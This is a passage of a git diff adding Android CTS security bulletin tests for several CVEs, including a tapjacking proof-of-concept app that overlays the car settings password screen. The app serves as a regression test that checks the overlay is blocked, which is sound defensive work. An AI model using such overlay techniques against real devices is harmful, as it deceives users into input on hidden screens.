+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0689",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
new file mode 100644
index 0000000..5f13cf6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -0,0 +1,49 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0693 extends BaseHostJUnit4Test {
+
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0693.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    /**
+     * b/184046948
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 184046948)
+    @Test
+    public void testPocCVE_2021_0693() throws Exception {
+        installPackage(TEST_APP);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testHeapDumpAccessibility");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
new file mode 100644
index 0000000..c46bede
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0706 extends BaseHostJUnit4Test {
+
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0706.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 193444889)
+    @Test
+    public void testPocCVE_2021_0706() throws Exception {
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testDisablePlugin");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
new file mode 100644
index 0000000..27900e1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.log.LogUtil.CLog;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0921 extends BaseHostJUnit4Test {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0921.apk";
+
+    @Before
+    public void setUp() throws Exception {
+        uninstallPackage(getDevice(), TEST_PKG);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 195962697)
+    @AppModeFull
+    public void testRunDeviceTest() throws Exception {
+
+        CLog.i("testRunDeviceTest() start");
+        installPackage();
+
+        //ensure the screen is woken up.
+        //KEYCODE_WAKEUP wakes up the screen
+        //KEYCODE_MENU called twice unlocks the screen (if locked)
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+        getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+
+        //run the test
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "test"));
+        CLog.i("testRunDeviceTest() end");
+    }
+
+    private void installPackage() throws Exception {
+        installPackage(TEST_APP, new String[0]);
+    }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
new file mode 100644
index 0000000..6176589
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0925 extends SecurityTestCase {
+
+    /**
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = 191444150)
+    public void testPocCVE_2021_0925() throws Exception {
+        pocPusher.only64();
+        String binaryName = "CVE-2021-0925";
+        String inputFiles[] = {"cve_2021_0925"};
+        String signals[] = {CrashUtils.SIGSEGV};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_6685.java
similarity index 68%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_6685.java
index b0f19ad..65d687e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_6685.java
@@ -14,24 +14,26 @@
  * limitations under the License.
  */
 
+
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
+import org.junit.Test;
+import static org.junit.Assume.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_29368 extends SecurityTestCase {
+public class CVE_2021_6685 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/190286685
+     * Vulnerability Behaviour: SIGSEGV in self
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 190286685)
     @Test
-    public void testPocCVE_2021_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-29368", getDevice(),60);
+    public void testPocCVE_2021_6685() throws Exception {
+      assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+      AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-6685", null, getDevice());
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index d643084..0353c3d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -47,6 +47,7 @@
 
 import static org.junit.Assert.*;
 import static org.junit.Assume.*;
+import static org.hamcrest.core.Is.is;
 
 public class SecurityTestCase extends BaseHostJUnit4Test {
 
@@ -226,9 +227,17 @@
     }
 
     /**
-     * Check if a driver is present on a machine.
+     * Check if a driver is present and readable.
      */
     protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
+        return containsDriver(device, driver, true);
+    }
+
+    /**
+     * Check if a driver is present on a machine.
+     */
+    protected boolean containsDriver(ITestDevice device, String driver, boolean checkReadable)
+            throws Exception {
         boolean containsDriver = false;
         if (driver.contains("*")) {
             // -A  list all files but . and ..
@@ -239,11 +248,15 @@
             if (AdbUtils.runCommandGetExitCode(ls, device) == 0) {
                 String[] expanded = device.executeShellCommand(ls).split("\\R");
                 for (String expandedDriver : expanded) {
-                    containsDriver |= containsDriver(device, expandedDriver);
+                    containsDriver |= containsDriver(device, expandedDriver, checkReadable);
                 }
             }
         } else {
-            containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+            if(checkReadable) {
+                containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+            } else {
+                containsDriver = AdbUtils.runCommandGetExitCode("test -e " + driver, device) == 0;
+            }
         }
 
         MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
@@ -322,4 +335,28 @@
     boolean moduleIsPlayManaged(String modulePackageName) throws Exception {
         return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName);
     }
+
+    public void assumeIsSupportedNfcDevice(ITestDevice device) throws Exception {
+        String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
+                                      "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
+                                      "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
+                                      "/dev/st54j*" };
+        boolean isDriverFound = false;
+        for(String supportedDriver : supportedDrivers) {
+            if(containsDriver(device, supportedDriver, false)) {
+                isDriverFound = true;
+                break;
+            }
+        }
+        String[] output = device.executeShellCommand("ls -la /dev | grep nfc").split("\\n");
+        String nfcDevice = null;
+        for (String line : output) {
+            if(line.contains("nfc")) {
+                String text[] = line.split("\\s+");
+                nfcDevice = text[text.length - 1];
+            }
+        }
+        assumeTrue("NFC device " + nfcDevice + " is not supported. Hence skipping the test",
+                   isDriverFound);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 36bcd0d..06cf21a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -254,6 +254,17 @@
     }
 
     /**
+     * b/74122779
+     * Vulnerability Behaviour: SIGABRT in audioserver
+     */
+    @Test
+    @AsbSecurityTest(cveBugId = 74122779)
+    public void testPocCVE_2018_9428() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
+    }
+
+    /**
      * b/64340921
      * Vulnerability Behaviour: SIGABRT in audioserver
      */
@@ -498,26 +509,6 @@
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 
-    /**
-     * b/112891564
-     * Vulnerability Behaviour: SIGSEGV in self (Android P),
-     *                          SIGABRT in self (Android Q onward)
-     */
-    @Test
-    @AsbSecurityTest(cveBugId = 112891564)
-    public void testPocCVE_2018_9537() throws Exception {
-        String binaryName = "CVE-2018-9537";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
-        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        // example of check crash to skip:
-        // Abort message: 'frameworks/av/media/extractors/mkv/MatroskaExtractor.cpp:548 CHECK(mCluster) failed.'
-        testConfig.config = new CrashUtils.Config()
-                .setProcessPatterns(binaryName)
-                .appendAbortMessageExcludes("CHECK\\(.*?\\)");
-        testConfig.config.setSignals(signals);
-        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
-    }
-
     /******************************************************************************
      * To prevent merge conflicts, add tests for Q below this comment, before any
      * existing test methods
diff --git a/hostsidetests/edi/app/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp
similarity index 62%
copy from hostsidetests/edi/app/Android.bp
copy to hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp
index 96f2870..e02248d 100644
--- a/hostsidetests/edi/app/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp
@@ -1,10 +1,10 @@
-// Copyright (C) 2021 Google LLC.
+// Copyright (C) 2021 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
 // You may obtain a copy of the License at
 //
-//     http://www.apache.org/licenses/LICENSE-2.0
+//      http://www.apache.org/licenses/LICENSE-2.0
 //
 // Unless required by applicable law or agreed to in writing, software
 // distributed under the License is distributed on an "AS IS" BASIS,
@@ -12,27 +12,20 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
-    name: "CtsDeviceInfoTestApp",
+    name: "BUG-183613671",
+    defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    defaults: ["cts_defaults"],
-    min_sdk_version: "26",
-    target_sdk_version: "31",
-    static_libs: [
-        "androidx.test.rules",
-        "androidx.test.core",
-        "modules-utils-build",
-        "guava",
-    ],
-    sdk_version: "test_current",
     test_suites: [
-        "ats",
         "cts",
-        "gts",
-        "general-tests",
+        "vts10",
+        "sts",
     ],
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-183613671/AndroidManifest.xml
new file mode 100644
index 0000000..b749d8e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.BUG_183613671"
+    minSdkVersion="29">
+
+  <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+  <application android:theme="@style/Theme.AppCompat.Light">
+    <uses-library android:name="android.test.runner" />
+    <service android:name=".OverlayService"
+        android:enabled="true"
+        android:exported="false" />
+
+    <activity
+        android:name=".MainActivity"
+        android:label="ST (Permission)"
+        android:exported="true"
+        android:taskAffinity="android.security.cts.BUG_183613671.MainActivity">
+
+      <intent-filter>
+        <action android:name="android.intent.action.MAIN" />
+        <category android:name="android.intent.category.LAUNCHER" />
+      </intent-filter>
+    </activity>
+
+  </application>
+
+  <instrumentation
+      android:name="androidx.test.runner.AndroidJUnitRunner"
+      android:targetPackage="android.security.cts.BUG_183613671" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/layout/activity_main.xml
new file mode 100644
index 0000000..0ac0cf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:gravity="left"
+    tools:context=".MainActivity" >
+
+  <LinearLayout
+      android:id="@+id/linearLayout1"
+      android:layout_width="fill_parent"
+      android:layout_height="wrap_content"
+      android:layout_below="@+id/seekShowTimes"
+      android:layout_centerHorizontal="true"
+      android:layout_marginTop="53dp"
+      android:orientation="horizontal" >
+
+    <Button
+        android:id="@+id/btnStart"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Start" />
+
+  </LinearLayout>
+
+</RelativeLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/values/strings.xml
new file mode 100644
index 0000000..018e7fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/values/strings.xml
@@ -0,0 +1,21 @@
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+  <string name="app_name">BUG_183613671</string>
+  <string name="app_description">This is an overlay-activity</string>
+  <string name="tapjacking_text">BUG_183613671 overlay text</string>
+</resources>
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/Constants.java
similarity index 60%
copy from hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java
copy to hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/Constants.java
index cb07bae..eaa58b8 100644
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/Constants.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,12 +14,12 @@
  * limitations under the License.
  */
 
-package com.android.cts.userspacereboot.basic;
+package android.security.cts.BUG_183613671;
 
-import android.app.Activity;
+final class Constants {
 
-/**
- * An empty launcher activity.
- */
-public class LauncherActivity extends Activity {
+    public static final String LOG_TAG = "BUG-183613671";
+    public static final String TEST_APP_PACKAGE = Constants.class.getPackage().getName();
+
+    public static final String ACTION_START_TAPJACKING = "BUG_183613671.start_tapjacking";
 }
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/DeviceTest.java
new file mode 100644
index 0000000..d81bb95
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/DeviceTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_183613671;
+
+import static android.security.cts.BUG_183613671.Constants.LOG_TAG;
+
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import java.util.List;
+import java.util.stream.Collectors;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
+
+/** Basic sample for unbundled UiAutomator. */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final long WAIT_FOR_UI_TIMEOUT = 20_000;
+
+    private Context mContext;
+    private UiDevice mDevice;
+
+    @Before
+    public void setUp() throws Exception {
+        Log.d(LOG_TAG, "startMainActivityFromHomeScreen()");
+
+        mContext = getApplicationContext();
+
+        // If the permission is not granted, the app will not be able to show an overlay dialog.
+        // This is required for the test below.
+        // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail.
+        assertEquals("Permission SYSTEM_ALERT_WINDOW not granted!",
+                mContext.checkSelfPermission("android.permission.SYSTEM_ALERT_WINDOW"),
+                PackageManager.PERMISSION_GRANTED);
+
+        // Initialize UiDevice instance
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        if (!mDevice.isScreenOn()) {
+            mDevice.wakeUp();
+        }
+        mDevice.pressHome();
+    }
+
+    @Test
+    public void testTapjacking() throws InterruptedException {
+        Log.d(LOG_TAG, "Starting tap-jacking test");
+
+        launchTestApp();
+
+        launchTapjackedActivity();
+
+        mContext.sendBroadcast(new Intent(Constants.ACTION_START_TAPJACKING));
+        Log.d(LOG_TAG, "Sent intent to start tap-jacking!");
+
+        UiObject2 overlay = waitForView(By.text("BUG_183613671 OVERLAY TEXT"));
+        assertNull("Tap-jacking successful. Overlay was displayed.!", overlay);
+    }
+
+    @After
+    public void tearDown() {
+        mDevice.pressHome();
+    }
+
+    private void launchTestApp() {
+        Intent intent = mContext.getPackageManager().getLaunchIntentForPackage(
+                Constants.TEST_APP_PACKAGE);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        mContext.startActivity(intent);
+
+        // Wait for the app to appear
+        UiObject2 view = waitForView(By.pkg(Constants.TEST_APP_PACKAGE).depth(0));
+        assertNotNull("test-app did not appear!", view);
+        Log.d(LOG_TAG, "test-app appeared");
+    }
+
+    private void launchTapjackedActivity() {
+        Intent intent = new Intent();
+        intent.setAction("android.car.settings.SCREEN_LOCK_ACTIVITY");
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        UiObject2 activityInstance = waitForView(By.pkg("com.android.car.settings").depth(0));
+        assertNotNull("Activity under-test was not launched or found!", activityInstance);
+
+        UiObject2 textView = waitForView(By.res("com.android.car.settings", "password_entry"));
+        assertNotNull("Password confirmation screen was not launched or found!", textView);
+        textView.setText("test1234");
+        mDevice.pressEnter();
+
+        Log.d(LOG_TAG, "Started Activity under-test.");
+    }
+
+    private UiObject2 waitForView(BySelector selector) {
+        return mDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/MainActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/MainActivity.java
new file mode 100644
index 0000000..59de10f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/MainActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.BUG_183613671;
+
+import static android.security.cts.BUG_183613671.Constants.LOG_TAG;
+
+import android.app.AlertDialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.SeekBar;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+import java.util.ArrayList;
+
+/** Main activity for the test-app. */
+public final class MainActivity extends AppCompatActivity {
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        public void onReceive(Context context, Intent intent) {
+            startTapjacking();
+        }
+    };
+
+    private Button btnStart;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+
+        registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_START_TAPJACKING));
+
+        btnStart = (Button) findViewById(R.id.btnStart);
+        btnStart.setOnClickListener(v -> startTapjacking());
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        unregisterReceiver(mReceiver);
+        stopOverlayService();
+    }
+
+    public void startTapjacking() {
+        Log.d(LOG_TAG, "Starting tap-jacking flow.");
+        stopOverlayService();
+
+        startOverlayService();
+        Log.d(LOG_TAG, "Started overlay-service.");
+    }
+
+    private void startOverlayService() {
+        startService(new Intent(getApplicationContext(), OverlayService.class));
+    }
+
+    private void stopOverlayService() {
+        stopService(new Intent(getApplicationContext(), OverlayService.class));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/OverlayService.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/OverlayService.java
new file mode 100644
index 0000000..955aac4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/OverlayService.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
